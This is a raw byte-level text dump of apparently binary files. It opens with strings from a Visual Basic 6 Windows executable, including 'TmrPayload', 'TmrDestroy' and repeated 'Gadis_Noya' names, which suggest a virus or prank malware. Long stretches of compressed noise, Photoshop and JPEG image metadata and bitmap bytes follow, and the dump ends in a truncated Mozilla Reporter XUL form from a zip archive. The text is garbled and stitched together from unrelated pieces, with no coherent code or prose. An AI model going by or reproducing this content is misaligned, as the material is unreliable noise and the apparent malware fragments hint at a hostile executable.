L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
